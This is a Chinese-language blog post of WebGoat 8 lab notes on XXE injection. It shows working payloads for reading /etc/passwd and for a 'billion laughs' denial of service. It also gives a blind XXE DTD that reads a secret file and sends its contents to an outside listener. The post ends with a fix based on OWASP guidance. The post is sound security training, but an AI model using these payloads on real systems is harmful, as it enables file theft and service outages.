其他分享
首页 > 其他分享> > XXE漏洞

XXE漏洞

作者:互联网

WebGoat8实验笔记

WebGoat8实验

1.1通过XXE读取系统文件

这一个小关卡[4]的目的是借用页面的评论功能实施XXE注入攻击,目的是“任意文件读取”。

 

使用BurpSuite抓取一个发送评论的请求包如下。可以发现,在发送评论时,访问的接口是“POST /WebGoat/xxe/simple”。HTTP请求体的内容是XML。

POST /WebGoat/xxe/simple HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1:8080/WebGoat/start.mvc

Content-Type: application/xml

X-Requested-With: XMLHttpRequest

Content-Length: 62

Connection: close

Cookie: JSESSIONID=CFD280655E9EA1CA67190C6FE5CF0334; zzz_adminpass=0; zzz_adminpath=1; zzz_adminname=admin; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png

 

<?xml version="1.0"?><comment>  <text>comment</text></comment>

为了进行“任意文件读取”的攻击,发送如下HTTP请求包:

POST /WebGoat/xxe/simple HTTP/1.1

Host: 127.0.0.1:8080

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: */*

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1:8080/WebGoat/start.mvc

Content-Type: application/xml

X-Requested-With: XMLHttpRequest

Content-Length: 125

Connection: close

Cookie: JSESSIONID=CFD280655E9EA1CA67190C6FE5CF0334; zzz_adminpass=0; zzz_adminpath=1; zzz_adminname=admin; zzz_adminface=..%2Fplugins%2Fface%2Fface1.png

 

<?xml version="1.0"?>

<!DOCTYPE any[<!ENTITY reborn SYSTEM "file:///etc/passwd">]>

<comment><text>&reborn;</text></comment>

评论结果如图所示(评论的结果是文件“/etc/passwd”的内容)。

 

1.2 REST架构

在RESF开发风格下,一个接口可能接受多类参数(比如可接受XML、JSON这两种数据类型,默认接受JSON格式),该接口的关键代码如图所示。

 

使用BurpSuite抓取点击“评论”按钮所得的HTTP请求包,如图所示。

 

可以发现HTTP请求体是json值,且HTTP请求报文中有“Content-Type: application/json”。

为了实施XML实体注入攻击,可以对报文做修改,并发送HTTP请求包,如图所示。

 

1.3通过XXE进行DoS 攻击

对服务器执行XXE DoS拒绝服务攻击的Payload如下:

<?xml version="1.0"?>

<!DOCTYPE lolz [

 <!ENTITY lol "lol">

 <!ELEMENT lolz (#PCDATA)>

 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">

 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">

 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">

 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">

 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">

 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">

 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">

 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">

 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

]>

<lolz>&lol9;</lolz>

当XML解析器加载此文档时,它会看到它包含一个根元素“lolz”,其中包含文本“&lol9;”。 但是,“&lol9;” 是一个定义的实体,扩展为包含十个“&lol8;”的字符串字符串。 每个“&lol8;” 字符串是一个定义的实体,扩展为十个“&lol7;” 字符串等等。 所有的实体扩展都经过处理后,这个小于1KB的xml将扩展到3GB。

1.4 Blind XXE

在某些情况下,XXE攻击没有输出,因为尽管你的攻击可能已经发挥作用,但该字段并未反映在页面的输出中。或者尝试读取的资源包含导致解析器失败的非法XML字符,此时可以尝试使用Blind XXE攻击。(个人觉得盲XXE攻击和OBB(Out of Band攻击,即“数据外带”)息息相关,盲XXE的攻击示意图如图所示。

 

 

 图中的红、黄、绿圆均代表Web应用,其中“红色”Web应用(WebGoat)包含了XXE漏洞,“黄色”Web应用(python的SimpleHTTPServer)的根目录放置有恶意XML文件attack.dtd,“绿色”Web应用(WebWolf)可以解析并展示HTTP请求。

在正常的业务流程中,WebGoat并不会有图中序号为1、2、3的数据流。当WebGoat遭受XXE攻击时,WebGoat中带缺陷的XML解析器会向SimpleHTTPServer远程调用attack.dtd文件并通过GET请求的方式将数据发送给WebWolf。

具体的测试步骤如下:

1)在本地创建attack.dtd文件

文件的内容如下:

<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % file SYSTEM "file:////Users/mac/Code/JavaWorkspace/WebGoat-develop/webgoat-lessons/xxe/target/classes/secret.txt">

<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:9090/landing?text=%file;'>">

%all;

注:红色字体的“secret.txt”文件是存放在靶机上的一个普通文本文件。

2)启动Python的SimpleHTTPServer

使用终端切换到attack.dtd文件所在的目录下,启动Python的SimpleHTTPServer,如图所示。

    3)使用BurpSuite抓取评论功能的关键HTTP请求包

 

4)对步骤3抓取的HTTP请求包做修改并发送

修改HTTP请求报文中的XML内容为如下:

<?xml version="1.0"?>

<!DOCTYPE root [

<!ENTITY % remote SYSTEM "http://127.0.0.1:8000/attack.dtd">

%remote;

]>

<comment>

  <text>test&send;</text>

</comment>

注:红色字体的&send被定义于http://127.0.0.1:8000/attack.dtd中。

BurpSuite的HTTP请求包的发送结果如图所示。

 

通过观察WebWolf和SimpleHTTPServer的响应结果可发现,WebWolf接收到了

“Users/mac/Code/JavaWorkspace/WebGoat-develop/webgoat-lessons/xxe/target/classes/secret.txt”的文件内容,而SimpleHTTPServer也接收到了对/attack.dtd的GET请求。

 

漏洞修复案例

使用XML解析器时需要设置其属性,禁止使用外部实体。XML解析器的安全使用可参考《OWASP XML External Entity (XXE) Prevention Cheat Sheet》(https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java)。

以WebGoat 8的接口“POST /WebGoat/xxe/simple”为例进行漏洞修复。

浏览该接口的代码,可以发现parseXML方法是解析XML的关键代码,如图所示。

 

跟进parseXML方法可以发现,该关卡在解析XML时使用了类javax.xml.stream.XMLInputFactory且存在着不安全的配置方式,如图所示。

 

OWASP XML External Entity (XXE) Prevention Cheat Sheet》中对XMLInputFactory的建议配置方式如图所示。

 

依据该建议修改“POST /WebGoat/xxe/simple”接口的代码,如图所示。

 

在修改代码后重新运行WebGoat,对漏洞示例2.2的“XXE读取系统文件”问题进行复测,可以发现该漏洞已经被修复。

修复前的截图如图所示。

 

修复后的截图如图所示。

 

 

标签:XML,HTTP,请求,如图所示,漏洞,XXE,WebGoat
来源: https://www.cnblogs.com/safe-hacker/p/16530909.html